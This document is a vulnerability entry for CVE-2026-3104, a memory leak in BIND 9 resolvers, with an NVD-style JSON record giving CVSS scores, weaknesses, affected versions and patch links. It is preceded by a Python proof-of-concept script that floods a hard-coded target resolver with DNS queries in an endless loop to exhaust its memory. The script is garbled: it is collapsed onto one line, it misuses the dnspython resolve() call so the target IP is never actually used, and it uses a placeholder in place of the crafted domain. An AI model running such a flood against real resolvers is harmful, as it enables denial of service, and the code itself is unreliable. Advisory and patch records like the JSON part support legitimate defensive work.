CVE-2026-3104

import dns.resolver import time # Target vulnerable BIND resolver target_dns = '192.168.1.10' # Replace with actual target IP malicious_domain = 'example-leak.test' # Replace with the crafted domain pattern def trigger_memory_leak(): print(f"[*] Sending queries to {target_dns} for {malicious_domain}...") try: while True: # Send DNS query to trigger the leak answer = dns.resolver.resolve(malicious_domain, 'A', target_dns) print(f"[+] Query sent. Answer: {answer.rrset}") time.sleep(0.1) except Exception as e: print(f"[-] Error occurred: {e}") if __name__ == "__main__": trigger_memory_leak()

{"cve": {"id": "CVE-2026-3104", "sourceIdentifier": "[email protected]", "published": "2026-03-25T14:16:36.890", "lastModified": "2026-05-21T15:26:06.317", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "A specially crafted domain can be used to cause a memory leak in a BIND resolver simply by querying this domain.\nThis issue affects BIND 9 versions 9.20.0 through 9.20.20, 9.21.0 through 9.21.19, and 9.20.9-S1 through 9.20.20-S1.\nBIND 9 versions 9.18.0 through 9.18.46 and 9.18.11-S1 through 9.18.46-S1 are NOT affected."}, {"lang": "es", "value": "Un dominio especialmente diseñado puede usarse para causar una fuga de memoria en un resolvedor BIND simplemente al consultar este dominio.\nEste problema afecta a las versiones de BIND 9 desde la 9.20.0 hasta la 9.20.20, desde la 9.21.0 hasta la 9.21.19, y desde la 9.20.9-S1 hasta la 9.20.20-S1.\nLas versiones de BIND 9 desde la 9.18.0 hasta la 9.18.46 y desde la 9.18.11-S1 hasta la 9.18.46-S1 NO se ven afectadas."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "NONE", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 3.9, "impactScore": 3.6}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-772"}]}, {"source": "[email protected]", "type": "Primary", "description": [{"lang": "en", "value": "CWE-401"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:isc:bind:*:*:*:*:-:*:*:*", "versionStartIncluding": "9.20.0", "versionEndExcluding": "9.20.21", "matchCriteriaId": "2C0EF5D0-68A6-4E00-985B-523D9B243E49"}, {"vulnerable": true, "criteria": "cpe:2.3:a:isc:bind:*:*:*:*:-:*:*:*", "versionStartIncluding": "9.21.0", "versionEndExcluding": "9.21.20", "matchCriteriaId": "B1DD0950-5CBD-49B2-8007-5E96B3C4FB1B"}]}]}], "references": [{"url": "https://downloads.isc.org/isc/bind9/9.20.21", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://downloads.isc.org/isc/bind9/9.21.20", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://kb.isc.org/docs/cve-2026-3104", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}